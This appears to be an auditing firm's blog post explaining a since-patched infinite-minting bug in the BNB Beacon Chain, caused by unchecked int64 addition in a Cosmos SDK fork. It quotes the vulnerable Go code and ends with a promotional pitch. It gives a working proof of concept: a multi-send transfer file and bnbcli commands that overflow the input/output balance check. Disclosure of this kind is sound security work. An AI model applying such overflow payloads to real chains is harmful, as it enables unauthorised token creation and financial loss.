Summary
On February 8th, Jump Crypto reported a vulnerability to the BNB team, which could allow attackers to mint an unlimited amount of tokens. The severity of this vulnerability prompted the BNB team to promptly patch it within 24 hours of receiving the report. Fortunately, this vulnerability had not been exploited, and no financial losses were incurred. Otherwise, the severity of the attack could have been incalculable.
What is an Infinite Minting Vulnerability
An infinite minting vulnerability is a type of vulnerability in a cryptocurrency system that an attacker can exploit to mint an unlimited amount of tokens, allowing them to gain unauthorized access to cryptocurrency and potentially cause financial losses. This vulnerability typically involves errors in the design or implementation of smart contracts, such as numerical overflow, data type errors, logic errors, and so on.
Vulnerability Analysis
The BNB chain is composed of two blockchains. One is the EVM-compatible smart chain based on go-ethereum (BSC), and the other is the beacon chain (BC) built on Tendermint and Cosmos SDK, which is where this vulnerability occurred.
The BNB beacon chain does not use the upstream version of Cosmos SDK but instead uses a BNB fork hosted on GitHub. Several changes based on BNB in the fork version caused it to deviate from the upstream Cosmos SDK in several places.
Cosmos SDK uses a data type called Coin to handle asset data. Coins hold a certain amount of a specific currency. BNB Cosmos fork uses the following definition:
// Coin hold some amount of one currency
type Coin struct {
Denom string `json:"denom"`
Amount int64 `json:"amount"`
}
It is worth noting that the “Amount” is in type int64, which includes negative numbers. In the original Go language, this could silently cause overflow or underflow. The difference between the BNB fork and the upstream version of Cosmos SDK is that the upstream version uses a secure bigInt wrapper instead of int64 to protect the application from accidental overflow and underflow.
Jump Crypto also mentioned that the BNB team stated that they chose to use the primitive type to improve the performance of DEX on the beacon chain, and the team tried to eliminate various problems that could cause overflow. However, this vulnerability was still overlooked, and the team has been working hard to implement secure wrappers in their code repository.
The following is an example of the MsgSend that belongs to the standard x/bank module type:
//https://github.com/bnb-chain/bnc-cosmos-sdk/blob/6979480679f6c4980aa5a5ac11ce874f54f2a927/x/bank/msgs.go
// MsgSend - high level transaction of the coin module
type MsgSend struct {
Inputs []Input `json:"inputs"`
Outputs []Output `json:"outputs"`
}
// Transaction Input
type Input struct {
Address sdk.AccAddress `json:"address"`
Coins sdk.Coins `json:"coins"`
}
// Transaction Output
type Output struct {
Address sdk.AccAddress `json:"address"`
Coins sdk.Coins `json:"coins"`
}
// Coins is a set of Coin, one per currency
type Coins []Coin
MsgSend is typically used for token transfers between two accounts. The Inputs array consists of a list of sender addresses and the assets they want to transfer, while the Outputs array contains the target addresses and the assets they should receive.
To prevent fund theft or malicious minting, the MsgSend processing procedure performs several verifications. The amounts in both the Inputs and Outputs arrays must be positive to prevent them from being used to steal other people’s funds.
// ValidateBasic - validate transaction input
func (in Input) ValidateBasic() sdk.Error {
if len(in.Address) != sdk.AddrLen {
return sdk.ErrInvalidAddress(in.Address.String())
}
if !in.Coins.IsValid() {
return sdk.ErrInvalidCoins(in.Coins.String())
}
if !in.Coins.IsPositive() {
return sdk.ErrInvalidCoins(in.Coins.String())
}
return nil
}
// ValidateBasic - validate transaction output
func (out Output) ValidateBasic() sdk.Error {
if len(out.Address) != sdk.AddrLen {
return sdk.ErrInvalidAddress(out.Address.String())
}
if !out.Coins.IsValid() {
return sdk.ErrInvalidCoins(out.Coins.String())
}
if !out.Coins.IsPositive() {
return sdk.ErrInvalidCoins(out.Coins.String())
}
return nil
}
Lastly, the quantity of tokens in Inputs needs to equal the number of tokens in Outputs.
// Implements Msg.
func (msg MsgSend) ValidateBasic() sdk.Error {
[..]
// make sure all inputs and outputs are individually valid
var totalIn, totalOut sdk.Coins
for _, in := range msg.Inputs {
if err := in.ValidateBasic(); err != nil {
return err.TraceSDK("")
}
totalIn = totalIn.Plus(in.Coins) // (A)
}
for _, out := range msg.Outputs {
if err := out.ValidateBasic(); err != nil {
return err.TraceSDK("")
}
totalOut = totalOut.Plus(out.Coins) // (B)
}
// make sure inputs and outputs match
if !totalIn.IsEqual(totalOut) {
return sdk.ErrInvalidCoins(totalIn.String()).TraceSDK("inputs and outputs don't match")
}
return nil
}
The code traverses the Inputs array and sums all Coins arrays in the variable totalIn. Then it performs the same operation on the Outputs array and stores the result in totalOut. Verification is successful only when the two sums are equal. For the simplest case of a single currency, we call the Plus() method to sum (A) and (B) as shown below:
// Adds amounts of two coins with same denom
func (coin Coin) Plus(coinB Coin) Coin {
if !coin.SameDenomAs(coinB) {
return coin
}
return Coin{coin.Denom, coin.Amount + coinB.Amount}
}
This method adds two Amounts without checking for potential overflow. This allows totalIn == totalOut to pass the verification by triggering an integer overflow in the calculation, effectively bypassing the check for totalOut.
Below is an example of how this issue can be exploited to “mint” nearly an unlimited amount of BNB tokens through a malicious transfer: Adding three output amount fields would result in a value of 0x10000000000000001, which is too large to fit into a 64-bit variable and overflows to 1. This means that the target account could receive more BNB tokens than what the sender provided:
$ # Sender Account
$ bnbcli account bnb1sdg96khysz899gjhucmep6as8zh6zam4u6j6c3 --chain-id=${chainId} | jq ".value.base.coins"
[
{ // dev0
"denom": "BNB",
"amount": "100000060"
}
]
$ # Destination Account does not exist yet
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
ERROR: No account with address bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp was found in the state.
$ # Transfer details to trigger the overflow
$ cat transfer.json
[
{
"to":"bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp",
"amount":"9223372036854775000:BNB"
},
{
"to":"bnb1a8p35jlfzz7td4tljcrpfw3gv9z48ady6l248d",
"amount":"9223372036854775000:BNB"
},
{
"to":"bnb1dl0x933432der5rnafk4037dwtk8rzmh59jv2h",
"amount": "1617:BNB" }
]
$ # Send the transfer
$ bnbcli token multi-send --chain-id=${chainId} --from dev0 --transfers-file transfer.json
Password to sign with 'dev0':
Committed at block 17449
$ # Destination account now has ~92 billion BNB tokens
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
[
{
"denom": "BNB",
"amount": "9223372036854775000"
}
]
After Jump Crypto reported the vulnerability, the BNB team promptly fixed the vulnerability. Switching the sdk.Coin type to an overflow-proof algorithm method resolved the issue. After the patch, a Coin calculation overflow would lead to a golang panic and transaction failure.
Binance founder CZ and BNB Chief Scientist V also tweeted on the 10th to thank Jump Crypto for their selfless reporting of the vulnerability.
Conclusion
This incident was not a smart contract vulnerability but rather a design flaw in the BNB public chain. For public chains, especially those with a large user base like the BNB chain, an infinite token minting vulnerability is a fatal flaw that can destroy the chain’s economy.
For companies, the smart contract is the variable that teams can control during project development. Once deployed on the chain, it cannot be modified! Therefore, it is important to conduct stress tests and security audits on smart contracts before deployment to avoid causing significant financial losses.
If you are looking for a professional auditor, feel free to contact our technical experts.
